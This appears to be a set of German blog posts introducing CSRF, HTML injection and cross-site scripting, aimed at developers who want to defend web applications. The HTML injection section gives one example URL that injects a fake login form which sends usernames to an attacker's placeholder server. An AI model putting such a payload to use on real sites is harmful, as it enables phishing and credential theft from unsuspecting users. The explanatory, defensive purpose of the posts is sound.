Was ist Cross-Site Request Forgery (CSRF)?

Quickie: Der Angreifer will erreichen, dass er Requests im Namen eines angemeldeten, authentifizierten Benutzers ausführen kann.

Bei XSS steht der Benutzer der Webapplikation im Fokus, während es bei CSRF die Webapplikation selbst ist.

Das Thema ist dabei relativ neu, die Angriffe sind etwa seit dem Jahr 2000 bekannt. Viele Webapplikationen sind daher noch ungeschützt gegen CSRF – Ausser natürlich, Sie verwenden ein Framework, welches einen integrierten Schutz anbietet.

Bei einem CSRF nutzt der Angreifer die Tatsache, dass der Browser bei einem Request die Zugangsdaten der jeweiligen Domain mitsendet. Wichtig dabei sind vorallem die Session Informationen, etwa in einem Session-Cookie. Normalerweise erkennt das HTTP Protokoll daran den Benutzer und kann relevante Informationen zugreifen. Das Protokoll selber ist zustandslos und kann dies nämlich nicht einfach so. Zustandslos heisst dabei, dass jeder Request quasi neu reinkommt, ohne von den vorherigen Requests etwas zu wissen. Deshalb benötigt man quasi einen Datenspeicher, etwa die Session.

Ein Request, der nun von einem Angreifer über den Browser des Benutzers gestartet wird, enthält genau diese Session-Informationen. So sieht es aus, als ob der Benutzer selber die Webanwendung aufrufen und darauf herumsurfen würde. Ein Server kann aufgrund des Requests nicht feststellen, ob etwa das Abschicken eines Formulars tatsächlich von einem Benutzer geschehen ist oder nicht.

Der Angreifer verwendet dabei nicht den Computer des Benutzers direkt oder hackt sich in deren Browser. Stattdessen will der Angreifer, dass ein authorisierter Benutzer die von ihm manipulierte Seite besucht. Der Angreifer verwendet dann den Browser des Benutzers, um heimlich authorisierte Requests an den Webserver zu senden.

Der Angreifer sucht sich dabei Formular aus, bei denen der Benutzer kritische Backend-Operationen ausführen kann. Das sind etwa Administrationspanels, Bestellungsformulare oder das Bearbeiten von Benutzerdaten. Natürlich müssen auch Login/Logout-Formulare gegen CSRF geschützt werden.

Grundsätzlich sind Links für Angreifer aber interessanter als Formulare. Trotzdem müssen kritische Formulare bestimmt und geschützt werden.

Dieser Artikel ist eine Einleitung in das Thema CSRF. Der nächste Artikel zu dem Thema wird ein konretes Beispiel einer zu schützenden Webapplikation zeigen.

XSS: HTML Injection

Quickie: Man kann einer URL beliebigen HTML code anhängen, welcher ausgeführt wird, wenn HTML Injection nicht abgefangen wird.

Wie in der Einführung über Cross-Site Scripting gelesen, handelt es sich meistens um schadenden JavaScript Code. Es kann aber auch mit normalem HTML geschehen, etwa, wenn man ein Formular in ein ‚iframe‘ einbettet und anschliessend die Benutzerdaten ausliest.

Der Schutz geht wieder dahin, die übermittelten Daten genauestens zu prüfen.

Hier ein Beispiel, wie dies ablaufen könnte:

  1. Ein Angreifer entdeckt, dass Ihre Seite HTML Injection zulässt.
  2. Er erstellt einen Link inklusive seinem schadenden HTML-Code und sendet den Link Ihnen in einem Email zu.
  1. Sie sind neugierig, klicken auf den Link und der HTML Code wird gerendert. Dieser bittet Sie auf, Ihren Benutzernamen und das Passwort einzugeben.
  2. Sie geben es ein, im Glaube, es ist eine vertrauenswürdige Homepage, doch stattdessen wird es an den Server des Angreifers geschickt.

Ja, genau: Das bedeutet, in einem Link kann man HTML Code anhängen! Etwa Text oder ein ganzes Login-Formular.

Beispiel:
http ://www.test.com/test.php?name=<h3>Bitte Benutzername eingeben:</h3><form method=“POST“
action=“http ://hackerseite/page.php“>Username: <input type=“text“ name=“username“ /><input type=“submit“ value=“Login“ /></form>

So wird in der angezeigten Seite ein Login Formular gerendert, wenn dieses nicht abgefangen wird. Wenn Sie sich die URL nicht genau angesehen haben, werden Sie nicht merken, dass dies von einem Angreifer eingefügt wurde.

Aus diesem Grund müssen HTML Injections immer abgefangen werden, da ein Angreifer Ihre Seite beliebig manipulieren kann.

Einführung in Cross-Site Scripting (XSS)

Quickie: Einfügen eines <script> Elements mit Schadcode drin, etwa in ein Formular oder URL-Parameter

Zum Thema gehören folgende Artikel:
XSS HTML Injection

Cros-Site Scripting ist bereits seit den Neunzigerjahren bekannt. Damals wurde hauptsächlich mit Javascript-Code Daten von ausserhalb geladen und ausgeführt. So konnte ein Angreifer etwa die Session des aktuellen Benutzers für seine eigenen Zwecke verwenden.

Typischerweise erwartet eine Webapplikation eine bestimmte Eingabe und erhält stattdessen aber einen Angriff, etwa in Form eines <script> Elements. Ein <script> Element kann dabei einen Skript enthalten, etwa in Javascript, welches client-seitig ausgeführt wird. Dies sollte natürlich so gut wie möglich verhindert werden.

Das heisst, wenn die Eingaben auf einer Seite nicht geprüft beziehungsweise geschützt werden, kann ein Angreifer beliebigen JavaScript Code client-seitig ausführen! Normalerweise schützt ein Browser den Benutzer nicht automatisch gegen solch eine Attacke.

Sowohl die Inputvalidierung sowie auch das Output-Escaping werden von Browsern unzureichend ausgeführt. Theoretisch können verschiedene Skriptsprachen dafür verwendet werden, etwa Microsofts VBScript, meistens wird aber JavaScript verwendet, da es dem Angreifer viele Möglichkeiten bietet.

Wichtig zu wissen ist auch, dass JavaScript Zugriff auf das Document Object Model (DOM) einer Webseite hat. HTML oder XML etwa sind als Baumstruktur abbildbar mit dem Knoten (node) als zentralen Objekt.

‚p‘ Tag und ‚class‘ Attribut als Knoten:
<p class=“hallo“>Hallo</p>

Mit den Methoden „getElementById“ oder „getElementsByName“ kann ein Angreifer auf Elemente innerhalb der Webseite zugreifen.

Angriffsschnittstellen sind: Ein Formular, URL-Parameter oder eine Möglichkeit, eine Datei hochzuladen. Ebenfalls möglich ist es, den Schadcode in ein Bild-Tag, genauer gesagt in das „src“ Attributs zu packen.

Fügt der Angreifer ein <script> Element ein, welches anschliessend zum Sender geschickt wird, kann er so Daten von Ihnen in seiner Datenbank speichern.

Dies Artikel dient als kurze Einführung in das Thema Cross-Site Scripting. Weitere Informationen dazu folgen in weiteren Blogposts.